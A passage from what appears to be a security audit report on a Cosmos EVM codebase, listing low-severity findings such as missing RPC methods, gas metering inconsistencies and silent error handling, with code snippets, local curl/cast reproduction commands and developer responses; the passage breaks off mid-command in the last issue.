    VestingPrecompileAddress      = "0x0000000000000000000000000000000000000803"
    BankPrecompileAddress         = "0x0000000000000000000000000000000000000804"
    GovPrecompileAddress          = "0x0000000000000000000000000000000000000805"
    SlashingPrecompileAddress     = "0x0000000000000000000000000000000000000806"
    EvidencePrecompileAddress     = "0x0000000000000000000000000000000000000807"
)

// AvailableStaticPrecompiles defines the full list of all available EVM extension
 ↪  addresses.
```

```
//
// NOTE: To be explicit, this list does not include the dynamically registered EVM
↪  extensions
// like the ERC-20 extensions.
var AvailableStaticPrecompiles = []string{
    P256PrecompileAddress,
    Bech32PrecompileAddress,
    StakingPrecompileAddress,
    DistributionPrecompileAddress,
    ICS20PrecompileAddress,
    VestingPrecompileAddress,
    BankPrecompileAddress,
    GovPrecompileAddress,
    SlashingPrecompileAddress,
    EvidencePrecompileAddress,
}
```

Tool Used

Manual Review

Recommendation

If there are no immediate plans to implement this precompile, remove it from the constants and the `AvailableStaticPrecompiles` list to avoid confusion.

Discussion

aljo242

ACK - we will keep this address reserved and track an issue to implement this precompile in the future. But as this is not a security issue we will not be immediately fixing

defsec

Acknowledged.

Issue L-6: Deprecated `increaseAllowance` and `decreaseAllowance` methods

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/534

Summary

The ERC20 precompile implementation includes non-standard `increaseAllowance` and `decreaseAllowance` methods that should be deprecated. These methods have been identified as security risks by the broader Ethereum community and have been removed from OpenZeppelin's ERC20 implementation.

Vulnerability Detail

The ERC20 precompile currently implements `increaseAllowance` and `decreaseAllowance` methods, which are not part of the original EIP-20 specification. These methods were originally introduced as a solution to the allowance frontrunning vulnerability in the standard `approve` method.

Impact

Users are exposed to phishing attacks specifically targeting these non-standard methods. (Openzeppelin issue : https://github.com/OpenZeppelin/openzeppelin-contracts/issues/4583)

Code Snippet

From the provided ERC20 precompile implementation:

```
// RequiredGas calculates the contract gas used for the
func (p Precompile) RequiredGas(input []byte) uint64 {
    // NOTE: This check avoid panicking when trying to decode the method ID
    if len(input) < 4 {
        return 0
    }

    methodID := input[:4]
    method, err := p.MethodById(methodID)
    if err != nil {
        return 0
    }

    // TODO: these values were obtained from Remix using the ERC20.sol from
    ↪  OpenZeppelin.
```

```
    // We should execute the transactions using the ERC20MinterBurnerDecimals.sol
    ↪  from Cosmos EVM testnet
    // to ensure parity in the values.
    switch method.Name {
    // ERC-20 transactions
    case TransferMethod:
        return GasTransfer
    case TransferFromMethod:
        return GasTransfer
    case ApproveMethod:
        return GasApprove
    case IncreaseAllowanceMethod:
        return GasIncreaseAllowance
    case DecreaseAllowanceMethod:
        return GasDecreaseAllowance
    // ERC-20 queries
    // ...
    }
}
```

Tool Used

Manual Review

Recommendation

Remove the `increaseAllowance` and `decreaseAllowance` methods from the ERC20 precompile implementation to align with current best practices and reduce security risks.

Discussion

defsec

Fix is verified.

Issue L-7: `eth_getLogs` block range out of bounds error

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/537

Summary

The `eth_getLogs` RPC method in the filters package does not properly validate block range parameters when the `FromBlock` is greater than the current head block. Instead of returning an error, it returns an empty log array, which can lead to silent failures and inconsistent behavior compared to standard Ethereum implementations like go-ethereum.

Vulnerability Detail

In the current implementation of the `Logs` function in `rpc/namespaces/ethereum/eth/filters/filters.go`, when `f.criteria.FromBlock.Int64() > head`, the function returns an empty log array without any error indication:

```
// check bounds
if f.criteria.FromBlock.Int64() > head {
    return []*ethtypes.Log{}, nil  // Returns empty logs instead of error
} else if f.criteria.ToBlock.Int64() > head+maxToOverhang {
    f.criteria.ToBlock = big.NewInt(head + maxToOverhang)
}
```

eth/filters/api.go#L40

This behavior is inconsistent with the standard go-ethereum implementation, which returns an `errInvalidBlockRange` error when block range parameters are invalid. The go-ethereum codebase defines this error as:

```
errInvalidBlockRange = errors.New("invalid block range params")
```

Impact

Applications relying on `eth_getLogs` may not detect when they're querying invalid block ranges, leading to incomplete data processing.

Code Snippet

/evm/rpc/namespaces/ethereum/eth/filters/filters.go#L150-L151

```
// check bounds
if f.criteria.FromBlock.Int64() > head {
    return []*ethtypes.Log{}, nil  // Returns empty logs instead of error
} else if f.criteria.ToBlock.Int64() > head+maxToOverhang {
    f.criteria.ToBlock = big.NewInt(head + maxToOverhang)
}
```

Tool Used

Manual Review

Recommendation

Implement proper error handling for invalid block ranges by returning an error when `FromBlock` exceeds the head block.

Issue L-8: TraceTx gas metering inconsistency due to incomplete context configuration

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/539

Summary

The `TraceTx` function in the EVM keeper was missing proper KVGasConfig setup, causing inconsistent gas calculations between transaction tracing and actual transaction execution. The tracing context was not configured with empty gas configs for KV store operations, leading to discrepancies in gas metering during trace operations.

Vulnerability Detail

In the `TraceTx` and `traceTx` functions within `x/evm/keeper/grpc_query.go`, the context was only being reset with an infinite gas meter but was missing the KVGasConfig setup.

Impact

This incomplete setup meant that KV store operations during tracing would use the default gas configuration instead of being calculated purely by EVM opcodes, causing inconsistencies between traced gas usage and actual execution gas usage.

Code Snippet

grpc_query.go#L399-L400

```
// resetting the gasMeter after increasing the sequence to have an accurate gas
↪  estimation on EVM extensions transactions
gasMeter := cosmosevmtypes.NewInfiniteGasMeterWithLimit(msg.GasLimit)
tmpCtx = evmante.BuildEvmExecutionCtx(tmpCtx).WithGasMeter(gasMeter)
```

Tool Used

Manual Review

Recommendation

Implement proper KVGasConfig setup in both `TraceTx` and `traceTx` functions to ensure gas calculations are consistent with actual transaction execution:

```
// In TraceTx function:
ctx = ctx.WithGasMeter(cosmosevmtypes.NewInfiniteGasMeterWithLimit(msg.GasLimit).
    WithKVGasConfig(storetypes.GasConfig{}).
    WithTransientKVGasConfig(storetypes.GasConfig{})
```

Discussion

defsec

Fix is confirmed.

Issue L-9: CumulativeGasUsed calculation mixing Cosmos and EVM gas in receipt generation

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/542

Summary

The `cumulativeGasUsed` field in Ethereum transaction receipts includes both Cosmos SDK gas consumption and EVM gas usage.

Vulnerability Detail

In the `ApplyTransaction` function, the `cumulativeGasUsed` calculation combines EVM transaction gas with Cosmos block gas:

```
cumulativeGasUsed := res.GasUsed
if ctx.BlockGasMeter() != nil {
    limit := ctx.BlockGasMeter().Limit()
    cumulativeGasUsed += ctx.BlockGasMeter().GasConsumed()
    if cumulativeGasUsed > limit {
        cumulativeGasUsed = limit
    }
}
```

According to Ethereum standards, `cumulativeGasUsed` should represent the **total gas used by all EVM transactions up to and including the current transaction within the block**, not the sum of Cosmos + EVM gas.

Impact

EVM transaction receipts contain incorrect `cumulativeGasUsed` values.

Code Snippet

state_transition.go#L201-L202

```
cumulativeGasUsed := res.GasUsed
if ctx.BlockGasMeter() != nil {
    limit := ctx.BlockGasMeter().Limit()
    cumulativeGasUsed += ctx.BlockGasMeter().GasConsumed()
    if cumulativeGasUsed > limit {
        cumulativeGasUsed = limit
    }
```

```
}
```

Tool Used

Manual Review

Recommendation

Track EVM gas usage separately from Cosmos gas usage and only include EVM gas in the cumulative calculation.

Discussion

vladjdk

Since both Cosmos and EVM transactions could be in a block, wouldn't it make sense to include both in the gas calculation? The limit is shared across both, so it seems that only calculating the cumulative gas of EVM transactions wouldn't be very useful for those trying to calculate how much gas is left in the block. I can't find that the definition specifies that these only have to be EVM transactions. Could this be moved down to a low/info? We can include the information in the docs.

I feel like the best path forward here would be to fix observability in general, converting each Cosmos TX into a readable EVM tx, and including all of those as EVM transactions in block receipts that are returned by the RPC.

defsec

Hi @vladjdk , That makes sense, definitely we can make it Low.

vladjdk

Marking this is acknowledged and part of a greater effort to improve observability in the future.

Issue L-10: RPC Implementation missing block tag support

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/544

Summary

The RPC backend implementation in `account_info.go` deviates from the official Ethereum JSON-RPC specification by not supporting standard block tags (`"earliest"`, `"latest"`, `"pending"`, `"safe"`, `"finalized"`) in methods that accept block parameters, potentially causing compatibility issues with Ethereum tooling and libraries.

Reference : eth_getbalance

Vulnerability Detail

The `eth_getbalance` in the backend implementation only accept `rpctypes.BlockNumberOrHash` parameters but fail to support the complete Ethereum JSON-RPC specification which supports for block tags.

Impact

Ethereum development tools that rely on block tags like ”latest” or ”pending” may fail when interacting with the RPC.

Code Snippet

account_info.go#L148

```
// GetBalance returns the provided account's balance up to the provided block
↪  number.
func (b *Backend) GetBalance(address common.Address, blockNrOrHash
↪  rpctypes.BlockNumberOrHash) (*hexutil.Big, error) {
    blockNum, err := b.BlockNumberFromTendermint(blockNrOrHash)
    if err != nil {
        return nil, err
    }

    req := &evmtypes.QueryBalanceRequest{
        Address: address.String(),
    }

    _, err = b.TendermintBlockByNumber(blockNum)
    if err != nil {
```

```
        return nil, err
    }

    res, err := b.queryClient.Balance(rpctypes.ContextWithHeight(blockNum.Int64()),
    ↪  req)
    if err != nil {
        return nil, err
    }

    val, ok := sdkmath.NewIntFromString(res.Balance)
    if !ok {
        return nil, errors.New("invalid balance")
    }

    // balance can only be negative in case of pruned node
    if val.IsNegative() {
        return nil, errors.New("couldn't fetch balance. Node state is pruned")
    }

    return (*hexutil.Big)(val.BigInt()), nil
}
```

Tool Used

Manual Review

Recommendation

Enhance the `BlockNumberFromTendermint` function to handle block tags.

Discussion

aljo242

ACK on this issue - this is not a security vulnerability and is just missing functionality. We will add this to a queue of feature work post audit

defsec

Thank you, marked as an acknowledged.

Issue L-11: Incorrect block height validation logic in BlockNumber() function

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/549

Summary

The `BlockNumber()` function contains incorrect block height validation logic that compares a uint64 value against `math.MaxInt64` instead of the appropriate maximum value, potentially rejecting valid block heights and displaying misleading error messages.

Vulnerability Detail

In the `BlockNumber()` function (lines 40-52), there is a logical inconsistency in the block height validation:

```
// BlockNumber returns the current block number in abci app state. Because abci
// app state could lag behind from tendermint latest block, it's more stable for
// the client to use the latest block number in abci app state than tendermint
// rpc.
func (b *Backend) BlockNumber() (hexutil.Uint64, error) {
    // do any grpc query, ignore the response and use the returned block height
    var header metadata.MD
    _, err := b.queryClient.Params(b.ctx, &evmtypes.QueryParamsRequest{},
    ↪  grpc.Header(&header))
    if err != nil {
        return hexutil.Uint64(0), err
    }

    blockHeightHeader := header.Get(grpctypes.GRPCBlockHeightHeader)
    if headerLen := len(blockHeightHeader); headerLen != 1 {
        return 0, fmt.Errorf("unexpected '%s' gRPC header length; got %d, expected:
        ↪  %d", grpctypes.GRPCBlockHeightHeader, headerLen, 1)
    }

    height, err := strconv.ParseUint(blockHeightHeader[0], 10, 64)
    if err != nil {
        return 0, fmt.Errorf("failed to parse block height: %w", err)
    }

    if height > math.MaxInt64 {
        return 0, fmt.Errorf("block height %d is greater than max uint64", height)
    }

    return hexutil.Uint64(height), nil
```

```
}
```

The code parses the height as a `uint64` using `strconv.ParseUint()` but then validates it against `math.MaxInt64` (9,223,372,036,854,775,807) instead of `math.MaxUint64` (18,446,744,073,709,551,615).

Impact

The function may incorrectly reject valid block heights in the upper range of uint64 values.

Code Snippet

blocks.go#L49-L50

Tool Used

Manual Review

Recommendation

Fix the validation logic to properly check against the correct maximum value for uint64.

Discussion

defsec

The fix is confirmed.

Issue L-12: Dangerous downcasts in ERC20 precompile tests

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/550

Summary

In several places in `evm/precompiles/erc20/utils_test.go` values checked post-test are downcasted to `(U)Int64` despite being of type `big.Int` (i.e. `Uint256`). E.g. in function requireAllowance we have:

```
// requireAllowance is a helper function to check that a SendAuthorization
// exists for a given owner and spender combination for a given amount.
func (s *PrecompileTestSuite) requireAllowance(erc20Addr, owner, spender
↪  common.Address, amount *big.Int) {
    allowance, err :=
    ↪  s.network.App.Erc20Keeper.GetAllowance(s.network.GetContext(), erc20Addr,
    ↪  owner, spender)
    s.Require().NoError(err, "expected no error unpacking the allowance")
>>  s.Require().Equal(allowance.Int64(), amount.Int64(), "expected different
↪  allowance")
}
```

Impact

Downcasting from real values to smaller types in tests may lead to missing dangerous overflow cases, reporting success instead of failure, and thus masking bugs.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/precompiles/erc20/utils_test.go#L135-L141

Tool Used

Manual Review

Recommendation

Consider comparing real values; inconveniences in comparing ununinitialized values with `0` can be side-stepped by converting to the string representation. E.g., apply the below

diff to evm/precompiles/erc20/utils_test.go:

```
diff --git a/evm/precompiles/erc20/utils_test.go
 ↪  b/evm/precompiles/erc20/utils_test.go
index f8353ae..f6422d7 100644
--- a/evm/precompiles/erc20/utils_test.go
+++ b/evm/precompiles/erc20/utils_test.go
@@ -117,12 +117,12 @@ func (s *PrecompileTestSuite) requireOut(
        s.Require().NoError(err, "expected no error unpacking")

        // Check if expValue is a big.Int. Because of a difference in
         ↪  uninitialized/empty values for big.Ints,
-       // this comparison is often not working as expected, so we convert to Int64
 ↪  here and compare those values.
+       // this comparison is often not working as expected, so we convert to String
 ↪  here and compare those values.
        bigExp, ok := expValue.(*big.Int)
        if ok {
            bigOut, ok := out[0].(*big.Int)
            s.Require().True(ok, "expected output to be a big.Int")
-           s.Require().Equal(bigExp.Int64(), bigOut.Int64(), "expected different
 ↪  value")
+           s.Require().Equal(bigExp.String(), bigOut.String(), "expected different
 ↪  value")
        } else {
            s.Require().Equal(expValue, out[0], "expected different value")
        }
@@ -137,7 +137,7 @@ func (s *PrecompileTestSuite) requireOut(
 func (s *PrecompileTestSuite) requireAllowance(erc20Addr, owner, spender
  ↪  common.Address, amount *big.Int) {
    allowance, err := s.network.App.Erc20Keeper.GetAllowance(s.network.GetContext(),
     ↪  erc20Addr, owner, spender)
    s.Require().NoError(err, "expected no error unpacking the allowance")
-   s.Require().Equal(allowance.Int64(), amount.Int64(), "expected different
 ↪  allowance")
+   s.Require().Equal(allowance.String(), amount.String(), "expected different
 ↪  allowance")
 }

 // setupERC20Precompile is a helper function to set up an instance of the ERC20
  ↪  precompile for
@@ -341,7 +341,7 @@ func (is *IntegrationTestSuite) ExpectAllowanceForContract(
    var allowance *big.Int
    err = contractABI.UnpackIntoInterface(&allowance, "allowance", ethRes.Ret)
    Expect(err).ToNot(HaveOccurred(), "expected no error unpacking allowance")
-   Expect(allowance.Uint64()).To(Equal(expAmount.Uint64()), "expected different
 ↪  allowance")
+   Expect(allowance.String()).To(Equal(expAmount.String()), "expected different
 ↪  allowance")
 }
```

```
// ExpectTrueToBeReturned is a helper function to check that the precompile returns
 ↪  true
```

Discussion

kuprumxyz

The fix is confirmed: tests are modified as recommended.

Issue L-13: Inadequate error handling and silent failures in JSON-RPC backend methods

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/551

Summary

The EVM JSON-RPC backend implementation contains multiple instances of inadequate error handling that result in silent failures and loss of critical error context. The code frequently returns `nil` values without proper error propagation, making it difficult to trace failures back to their source.

Vulnerability Detail

Methods like `GetBlockByNumber`, `GetBlockByHash`, and `GetTransactionReceipt` return `nil, nil` when encountering errors, losing valuable error context.

Specific vulnerable locations in the code:

- **GetTransactionReceipt**: Returns `nil, nil` when block lookup fails.
- **GetTransactionLogs**: Returns `nil, nil` for block result failures.
- **GetTransactionByBlockHashAndIndex**: Returns `nil, nil` for block not found scenarios.

Impact

Clients receive inconsistent responses without proper error context, making it difficult to implement robust error handling on the client side.

Code Snippet

Example 1: Silent failure in GetTransactionByHash

```
blockRes, err := b.rpcClient.BlockResults(b.ctx, &block.Block.Height)
if err != nil {
    b.logger.Debug("block result not found", "height", block.Block.Height, "error",
    ↪  err.Error())
    return nil, nil
}
```

Example 2: Silent failure in GetTransactionReceipt

```
resBlock, err := b.TendermintBlockByNumber(rpctypes.BlockNumber(res.Height))
if err != nil {
    b.logger.Debug("block not found", "height", res.Height, "error", err.Error())
    return nil, nil
}
```

Example 3: Inconsistent error handling in GetTransactionLogs

```
resBlockResult, err := b.rpcClient.BlockResults(b.ctx, &res.Height)
if err != nil {
    b.logger.Debug("block result not found", "number", res.Height, "error",
    ↪  err.Error())
    return nil, nil
}
```

Tool Used

Manual Review

Recommendation

Replace all `return nil, nil` patterns with proper error returns.

Discussion

defsec

Fix is confirmed.

Issue L-14: Missing debug_storageRangeAt RPC Method

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/563

Summary

The `debug_storageRangeAt` RPC method is not implemented or available in the current EVM node implementation, preventing developers and auditors from inspecting contract storage states at specific blocks.

Vulnerability Detail

When attempting to use the `debug_storageRangeAt` method through cast or direct RPC calls, the server returns an error indicating the method does not exist or is not available.

Impact

Developers cannot inspect contract storage states during debugging.

Code Snippet

1. Start the local EVM node on `127.0.0.1:8545`
2. Execute the following cast command:

```
cast rpc debug_storageRangeAt \
  "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef" \
  "0x0" \
  "0xa0b86a33e6c19b5e6c0e7e5a4f4d4b4c3d2e1f0e9d8c7b6a5958473829384756" \
  "0x0000000000000000000000000000000000000000000000000000000000000000" \
  "100" \
  --rpc-url http://127.0.0.1:8545
```

3. Observe the error response

```
Error: server returned an error response: error code -32601: the method
↪  debug_storageRangeAt does not exist/is not available
```

Tool Used

Manual Review

Recommendation

Implement the `debug_storageRangeAt` method in the RPC handler .

Discussion

Eric-Warehime

This is a known feature gap and we will prioritize delivering an implementation in followup releases.

defsec

Acknowledged.

Issue L-15: Missing debug_getBadBlocks RPC Method

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/564

Summary

The `debug_getBadBlocks` RPC method is not implemented or available in the current EVM node implementation, preventing developers and node operators from retrieving information about blocks that were rejected during validation.

Vulnerability Detail

When attempting to use the `debug_getBadBlocks` method through cast or direct RPC calls, the server returns an error indicating the method does not exist or is not available.

1. Start the local EVM node on `127.0.0.1:8545`
2. Execute the following cast command:

```
cast rpc debug_getBadBlocks --rpc-url http://127.0.0.1:8545
```

3. Or attempt to query for blocks around height 12169:

```
curl -X POST -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","method":"debug_getBadBlocks","params":[],"id":1}' \
  http://127.0.0.1:8545
```

4. Observe the error response

Expected Behavior

The method should return an array of bad blocks that were rejected during validation, formatted as:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": [
    {
      "block": {
        "number": "0x2f89",
        "hash":
        ↪  "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef",
        "parentHash": "0x...",
        "timestamp": "0x...",
        "difficulty": "0x...",
```

```
        "gasLimit": "0x...",
        "gasUsed": "0x...",
        "transactions": [...],
        "uncles": [...]
      },
      "hash": "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef",
      "rlp": "0x...",
      "reason": "invalid block: invalid gas limit"
    }
  ]
}
```

Actual Behavior

```
Error: server returned an error response: error code -32601: the method
↪  debug_getBadBlocks does not exist/is not available
```

Impact

Cannot identify why blocks were rejected during sync.

Tool Used

Manual Review

Recommendation

Implement the `debug_getBadBlocks` method in the RPC handler.

Discussion

Eric-Warehime

This is a known feature gap and we will prioritize delivering an implementation in followup releases.

defsec

Acknowledged.

Issue L-16: Deprecated ValidateBasic method usage in ERC20 module

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/565

Summary

The ERC20 module is still using the deprecated `ValidateBasic` method for message validation instead of migrating to the new validation approach in respective Msg services as recommended by Cosmos SDK.

Reference : tx-lifecycle

Vulnerability Detail

The Cosmos SDK has deprecated the `ValidateBasic` method on messages in favor of validating messages directly in their respective Msg services. However, the ERC20 module still implements and relies on `ValidateBasic` for all message types.

Impact

Risk of incompatibility with future Cosmos SDK versions.

Code Snippet

The following messages still implement the deprecated `ValidateBasic` interface:

```
var (
    _ sdk.HasValidateBasic = &MsgConvertERC20{}
    _ sdk.HasValidateBasic = &MsgConvertCoin{}
    _ sdk.HasValidateBasic = &MsgUpdateParams{}
    _ sdk.HasValidateBasic = &MsgRegisterERC20{}
    _ sdk.HasValidateBasic = &MsgToggleConversion{}
)
```

Tool Used

Manual Review

Recommendation

Migrate validation logic from `ValidateBasic` methods to respective Msg service handlers.

Discussion

aljo242

ValidateBasic is not going to be removed from the SDK and it will be un-deprecated in future SDK releases, so this is a non-issue

defsec

Acknowledged.

Issue L-17: WebSocket connection abnormal closure and service halting

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/567

Summary

The RPC WebSocket server experiences abnormal connection closures (close code 1006) with unexpected EOF errors, leading to service halts and connection instability after extended operation periods.

Vulnerability Detail

WebSocket connections to the RPC server are experiencing abnormal terminations with close code 1006, indicating unexpected network-level closures. The server logs show that connections are being forcibly closed due to unexpected EOF errors, causing the WebSocket service to stop and restart frequently.

```
10:06AM ERR Failed to read request err="websocket: close 1006 (abnormal closure):
↪  unexpected EOF" module=rpc-server protocol=websocket remote=127.0.0.1:56923
↪  server=node
10:06AM INF service stop impl=wsConnection module=rpc-server msg="Stopping
↪  wsConnection service" protocol=websocket remote=127.0.0.1:56923 server=node
10:06AM ERR error while stopping connection error="already stopped"
↪  module=rpc-server protocol=websocket server=node
```

Impact

WebSocket clients lose connection unexpectedly.

Code Snippet

Tool Used

Manual Review

Recommendation

Consider implementing graceful reconnection.

Discussion

Eric-Warehime

We believe this issue should be a low/Info as the connection properly resets and there is a very low likelihood that any events are missed as a result, and if there are regular events subscribed to the connection will not reset in this way.

defsec

Thanks for comment @Eric-Warehime , marked as an low.

Issue L-18: VerifyAccountBalance function breaks EIP-7702 by rejecting contract accounts

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/573

Summary

The `VerifyAccountBalance` function contains a hardcoded check that prevents any contract account from sending transactions (`account.IsContract()` check). This validation logic is incompatible with EIP-7702, which allows EOAs to be converted to smart contract accounts while retaining their ability to initiate transactions. After EIP-7702 implementation, legitimate users with converted accounts will be unable to send transactions, breaking core functionality.

Vulnerability Detail

EIP-7702 introduces a new transaction type that allows EOAs to temporarily or permanently delegate their code execution to a smart contract. This enables account abstraction where users can have smart contract wallets that provide enhanced functionality like multi-signature support, social recovery, gas sponsorship, and custom validation logic, while still being able to initiate transactions directly.

Impact

Users with EIP-7702 converted accounts cannot send any transactions.

Code Snippet

/evm/x/vm/keeper/utils.go#L14-L15

```
// IsContract determines if the given address is a smart contract.
func (k *Keeper) IsContract(ctx sdk.Context, addr common.Address) bool {
    store := prefix.NewStore(ctx.KVStore(k.storeKey), types.KeyPrefixCodeHash)
    return store.Has(addr.Bytes())
}
```

Tool Used

Manual Review

Recommendation

Consider replacing EOA-Only Check with EIP-7702 Compatible Validation.

Discussion

Eric-Warehime

This is a known feature gap and we'll resolve this in the future when we add support for EIP-7702 transactions, which are currently not supported.

defsec

Acknowledged.

Issue L-19: IBC callback multi-hop token support not implemented

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/577

Summary

The IBC callback auto-registration only supports single-hop IBC tokens and excludes multi-hop tokens from automatic ERC20 conversion.

Vulnerability Detail

The `OnRecvPacket` function in `/evm/x/erc20/keeper/ibc_callbacks.go` has a restriction that only allows single-hop IBC tokens to be auto-registered as ERC20 tokens:

```
// Case 1. token pair is not registered and is a single hop IBC Coin
// by checking the prefix we ensure that only coins not native from this chain are
↪  evaluated.
// IsNativeFromSourceChain will check if the coin is native from the source chain.
case !found && strings.HasPrefix(coin.Denom, "ibc/") &&
↪  ibc.IsBaseDenomFromSourceChain(data.Denom):
    tokenPair, err := k.RegisterERC20Extension(ctx, coin.Denom)
```

Impact

Users can't interact with multi-hop tokens in EVM.

Code Snippet

Location: `/evm/x/erc20/keeper/ibc_callbacks.go` lines 108-109

```
switch {
// Case 1. token pair is not registered and is a single hop IBC Coin
// by checking the prefix we ensure that only coins not native from this chain are
↪  evaluated.
// IsNativeFromSourceChain will check if the coin is native from the source chain.
// If the coin denom starts with `factory/` then it is a token factory coin, and we
↪  should not convert it
// NOTE: Check https://docs.osmosis.zone/osmosis-core/modules/tokenfactory/ for more
↪  information
case !found && strings.HasPrefix(coin.Denom, "ibc/") &&
↪  ibc.IsBaseDenomFromSourceChain(data.Denom):
    tokenPair, err := k.RegisterERC20Extension(ctx, coin.Denom)
```

```
    if err != nil {
        return channeltypes.NewErrorAcknowledgement(err)
    }
```

Tool Used

Manual Review

Recommendation

Consider allowing multi-hop tokens.

```
// Remove the IsBaseDenomFromSourceChain restriction
case !found && strings.HasPrefix(coin.Denom, "ibc/"):
    tokenPair, err := k.RegisterERC20Extension(ctx, coin.Denom)
```

Discussion

defsec

Fix is confirmed.

Issue L-20: Gas estimation state override not supported

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/578

Summary

The chain's `eth_estimateGas` RPC method does not support state override parameters, limiting its ability to estimate gas for transactions that depend on modified contract states.

Vulnerability Detail

The current `EstimateGas` implementation in `/evm/x/vm/keeper/grpc_query.go` and `/evm/rpc/backend/call_tx.go` only accepts basic transaction arguments without state override support.

Ethereum's `eth_estimateGas` supports state overrides since go-ethereum v1.12.1 (August 2023):

```
eth_estimateGas(transaction, blockNumber, stateOverride)
```

Impact

DEX aggregators and DeFi protocols cannot accurately estimate gas for complex operations.

Code Snippet

```
func (b *Backend) EstimateGas(args evmtypes.TransactionArgs, blockNrOptional
↪  *rpctypes.BlockNumber) (hexutil.Uint64, error) {

    req := evmtypes.EthCallRequest{
        Args:            bz,
        GasCap:          b.RPCGasCap(),
        ProposerAddress: sdk.ConsAddress(header.Block.ProposerAddress),
        ChainId:         b.chainID.Int64(),
    }

    res, err :=
    ↪  b.queryClient.EstimateGas(rpctypes.ContextWithHeight(blockNr.Int64()), &req)
    return hexutil.Uint64(res.Gas), nil
```

```
}
```

Tool Used

Manual Review

Recommendation

Consider implement state override support.

Discussion

Eric-Warehime

This is a known feature gap and we will prioritize delivering an implementation in followup releases.

defsec

Acknowledged.

Issue L-21: txpool_contentFrom method not available

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/579

Summary

When attempting to use the `txpool_contentFrom` RPC method to retrieve pending transactions from a specific address, the Ethereum node returns an error indicating that the method is not available.

Vulnerability Detail

Error Details:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "error": {
    "code": -32601,
    "message": "the method txpool_contentFrom does not exist/is not available"
  }
}
```

Failing Request:

```
curl http://127.0.0.1:8545/ \
-X POST \
-H "Content-Type: application/json" \
--data '{
  "method": "txpool_contentFrom",
  "params": ["0x9431D1615FA755Faa25A74da7f34C8Bd6963bd0A"],
  "id": 1,
  "jsonrpc": "2.0"
}'
```

Impact

Cannot retrieve pending transactions from specific addresses.

Tool Used

Manual Review

Recommendation

Consider implementing The `txpool_contentFrom` API.

Discussion

Eric-Warehime

This is a known feature gap and we will prioritize delivering an implementation in followup releases.

defsec

Acknowledged.

Issue L-22: Gas optimization in ERC20 precompile

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/580

Summary

The ERC20 precompile gas constants can be optimized based on testing data, potentially reducing transaction costs and improving network efficiency. Current values appear to be conservative estimates that could benefit from refinement.

Vulnerability Detail

The current gas configuration in `/evm/precompiles/erc20/erc20.go` uses conservative gas estimates that may not reflect optimal values based on actual execution costs.

Impact

Reduced transaction costs for users.

Code Snippet

erc20.go#L25

Tool Used

Manual Review

Recommendation

Consider implementing gas optimization based on testing data.

Discussion

aljo242

ACK - these conservative estimates pose no security or liveness issue, but should be something we as a team revisit with an adjusted testing plan once we have finalized any other work as changes would adjust gas estimation

defsec

Acknowledged.

Issue L-23: Missing EIP-2930 access list creation RPC method

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/583

Summary

The EVM RPC interface is missing the `eth_createAccessList` method, which is a standard Ethereum RPC method defined in EIP-2930 for generating optimal access lists for transactions.

Vulnerability Detail

The codebase has comprehensive EIP-2930 access list support in the core EVM implementation but lacks the RPC method `eth_createAccessList` that allows clients to generate access lists for transactions.

Impact

Incompatible with Ethereum development tools that rely on `eth_createAccessList`.

Code Snippet

```
curl http://127.0.0.1:8545 \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "method": "eth_createAccessList",
    "params": [
      {
        "from": "0xaea8f8f781326bfe6a7683c2bd48dd6aa4d3ba63",
        "data": "0x608060806080608155"
      },
      "latest"
    ],
    "id": 1
  }'
```

Response:

```
{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"the method
↪  eth_createAccessList does not exist/is not available"}}
```

Tool Used

Manual Review

Recommendation

Consider implementing eth_createAccessList RPC method.

Discussion

Eric-Warehime

This is a known feature gap and we will prioritize delivering an implementation in followup releases.

defsec

Acknowledged.

Issue L-24: `cast send` fails with JSON Unmarshal Error

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/584

Summary

`cast send` incorrectly encodes numeric parameters as strings when sending JSON-RPC requests, causing failures with the client. The command fails with a `-32602` error code, indicating an invalid argument due to a JSON unmarshaling error.

Vulnerability Detail

When using `cast send` with a specified `--nonce`, the command fails against Go-based Ethereum nodes. The tool appears to incorrectly serialize the nonce as a JSON string (e.g., `"0x64"`) instead of a JSON number (`100`). The Go-based server, expecting a numeric type, is unable to unmarshal the string and rejects the request with the following error:

```
Error: server returned an error response: error code -32602: invalid argument 0:
↪  json: cannot unmarshal string into Go value of type uint64
```

Example Command

```
cast send 0x963EBDf2e1f8DB8707D05FC75bfeFFBa1B5BaC17 \
  --value 0.01ether \
  --from 0x963EBDf2e1f8DB8707D05FC75bfeFFBa1B5BaC17 \
